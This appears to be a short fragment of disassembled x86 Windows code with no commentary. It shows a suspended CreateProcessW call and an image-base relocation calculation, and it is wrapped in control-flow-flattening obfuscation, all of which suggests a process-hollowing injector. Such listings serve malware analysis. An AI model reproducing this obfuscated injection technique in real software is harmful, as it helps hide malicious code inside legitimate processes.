call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xe8], 0x84675689
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x6d6f5bb9
jmp 0x10004b11
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xe8], 0x46abefa7
jmp 0x10004b11
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x1773184d
sub ecx, eax
sub ecx, 0x1773184d
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov dword [ebp - 0xe8], 0xe026410
jmp 0x10004b11
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xe8], 0xcc2eaa73
jmp 0x10004b11
mov dword [ebp - 0xe8], 0x149b5a37
jmp 0x10004b11
jmp 0x10002b00